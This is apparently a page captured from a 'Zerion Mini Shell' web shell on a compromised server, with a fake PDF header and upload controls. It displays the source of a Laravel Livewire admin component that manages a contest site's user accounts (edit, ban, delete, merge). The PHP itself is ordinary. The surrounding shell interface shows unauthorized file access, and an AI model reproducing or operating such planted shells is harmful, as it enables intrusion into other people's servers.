%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/demo/app/Livewire/
Upload File :
Create Path :
Current File : /www/loslex/demo/app/Livewire/UserModal.php

<?php

namespace App\Livewire;

use App\Enums\ContestLevelEnum;
use App\Http\Requests\ProfileUpdateRequest;
use App\Models\Contest;
use App\Models\User;
use App\Rules\ForbiddenUsernames;
use App\Workers\ContestImporter;
use Illuminate\Support\Arr;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Log;
use Illuminate\Validation\Rule;
use Livewire\Component;
use LivewireUI\Modal\ModalComponent;

class UserModal extends ModalComponent
{
    public $userid;
    public User $user;
    public $mode = "show";
    private $allowedModes = ["show", "edit", 'merge'];

    public $firstname;
    public $lastname;
    public $namesuffix;
    public $city;
    public $username;
    public $email;
    public $phone_number;
    public $licence_number;
    public $lex_hash;
    public $ban;
    public $ban_reason;

    public $targetuserid;

    /* prep of thw LW component */
    public function mount()
    {
        if (!in_array($this->mode, $this->allowedModes)) {
            $this->mode = $this->allowedModes[0];
        }

        $this->user = User::withTrashed()->find($this->userid);
        $this->firstname = $this->user->firstname;
        $this->lastname = $this->user->lastname;
        $this->namesuffix = $this->user->namesuffix;
        $this->city = $this->user->city;
        $this->username = $this->user->username;
        $this->email = $this->user->email;
        $this->phone_number = $this->user->phone_number;
        $this->licence_number = $this->user->licence_number;
        $this->lex_hash = $this->user->lex_hash;
        $this->ban = !$this->user->is_active;
        $this->ban_reason = $this->user->ban_reason;
    }

    /* renders the page (dialog) */
    public function render()
    {
        $this->authorize($this->mode, $this->user);

        if ($this->mode == 'merge') {
            $allusers = User::orderBy('lastname')->get();
            return view("livewire.modal-user-{$this->mode}", ['allusers' => $allusers]);
        } else {
            return view("livewire.modal-user-{$this->mode}");
        }
    }

    /* setp for the wire-modal library */
    public static function modalMaxWidth(): string
    {
        return '4xl';
    }

    /* Validation of the user data comming from EDIT - this has to match the ProfileUpdateRequest structure yet with slight differences */
    protected function rules(): array
    {
        return [
            'firstname'  =>     'required|string|max:255',
            'lastname' =>       'required|string|max:255',
            'namesuffix' =>     'nullable|string|max:10',
            'city' =>           'nullable|string|max:255',
            'username' =>       ['required', 'string', 'max:255', 'alpha_num', 'ascii', 'unique:users,username,'.$this->user->id, new ForbiddenUsernames],
            'email' =>          'required|email:rfc,dns|max:255|unique:users,email,'.$this->user->id,
            'phone_number' =>   ['nullable','string','regex:/^(\+42[01] ?)?\d{3} ?\d{3} ?\d{3}$/'],
            'licence_number' => ['nullable','string','regex:/^((AL|ZP)\d{6})|(EZP-\d{5,7})$/i'],
            'lex_hash' =>       'nullable|alpha_num|ascii|size:8|unique:users,lex_hash,'.$this->user->id,
            'ban_reason' =>     'nullable|string|max:255',
            'ban' =>            'boolean'
        ];
    }

    /* this is to cleanup the validated data from user EDIT - with this the empty values are converted to NULL to match Laravel behavior */
    private function cleanup(array $data) :array
    {
        $nullable = ['namesuffix', 'city', 'phone_number', 'licence_number', 'lex_hash', 'ban_reason' ];
        foreach ($nullable as $key) {
            if (empty($data[$key])) { $data[$key] = null; }
        }

        return $data;
    }

    /* process user data comming from EDIT form */
    public function save()
    {
        $this->authorize('edit', $this->user);
        $result = $this->cleanup($this->validate());

        $this->user->fill($result);
        $this->user->is_active = !$this->ban;
        $originals = Arr::only($this->user->getOriginal(), array_keys($this->user->getDirty()));
        if ($this->user->isDirty('email')) {
            $this->user->email_verified_at = null;
        }

        $this->user->save();
        $this->closeModal();
        Log::info("Admin " . Auth::user()->username . " updated user details for {$this->user->username}", ['user' => $this->user->id, 'original' => $originals, 'changed' => $this->user->getChanges()]);
        $this->dispatch('user-updated')->to(UserList::class); // refresh user-list
    }

    /* DELETE selected user */
    public function delete()
    {
        $this->authorize('delete', $this->user);
        $this->user->delete();
        $this->closeModal();

        Log::info("Admin " . Auth::user()->username . " deleted user account {$this->user->username}", ['user' => $this->user->id]);
        $this->dispatch('user-updated')->to(UserList::class); // refresh user-list
    }

    /* restore deleted user */
    public function undelete()
    {
        $this->authorize('restore', $this->user);
        $this->user->restore();
        $this->closeModal();

        Log::info("Admin " . Auth::user()->username . " restored user account {$this->user->username}", ['user' => $this->user->id]);
        $this->dispatch('user-updated')->to(UserList::class); // refresh user-list
    }

    /* merge user accounts */
    public function merge()
    {
        $this->authorize('merge', $this->user);

        $targetuser = User::where('id', $this->targetuserid)->first();
        $registrations = $this->user->registrations->pluck('id')->all();    // list of IDs to log

        $contestroles = Contest::where('director_id', $this->user->id)->orWhere('rangemaster_id', $this->user->id)->get();
        $contestrolesids = $contestroles->pluck('id')->all();   // list of contestIDs to log

        foreach ($this->user->registrations as $onereg) {
            $onereg->user_id = $this->targetuserid;
            $onereg->save();

            ContestImporter::updateMaterializedViews($onereg->contest);
            ContestImporter::clearContestCaches($onereg->contest);
            ContestImporter::deleteContestPDFs($onereg->contest);
        }

        if ($this->user->registrations->where('contest_level', ContestLevelEnum::CUP->value)->count()) {
            ContestImporter::clearCupCache();
        }

        foreach ($contestroles as $onecontest) {
            if ($onecontest->director_id == $this->user->id) {
                $onecontest->director_id = $this->targetuserid;
            }
            if ($onecontest->rangemaster_id == $this->user->id){
                $onecontest->rangemaster_id = $this->targetuserid;
            }
            if ($onecontest->isDirty()) { $onecontest->save(); }
        }

        $this->user->delete();

        $this->closeModal();
        Log::info("Admin " . Auth::user()->username . " merged user account {$this->user->username} into {$targetuser->username}", [
            'user' => $this->user->id,
            'targetuser' => $this->targetuserid,
            'registrations' => $registrations,
            'contests' => $contestrolesids
        ]);
        $this->dispatch('user-updated')->to(UserList::class); // refresh user-list
    }
}

Zerion Mini Shell 1.0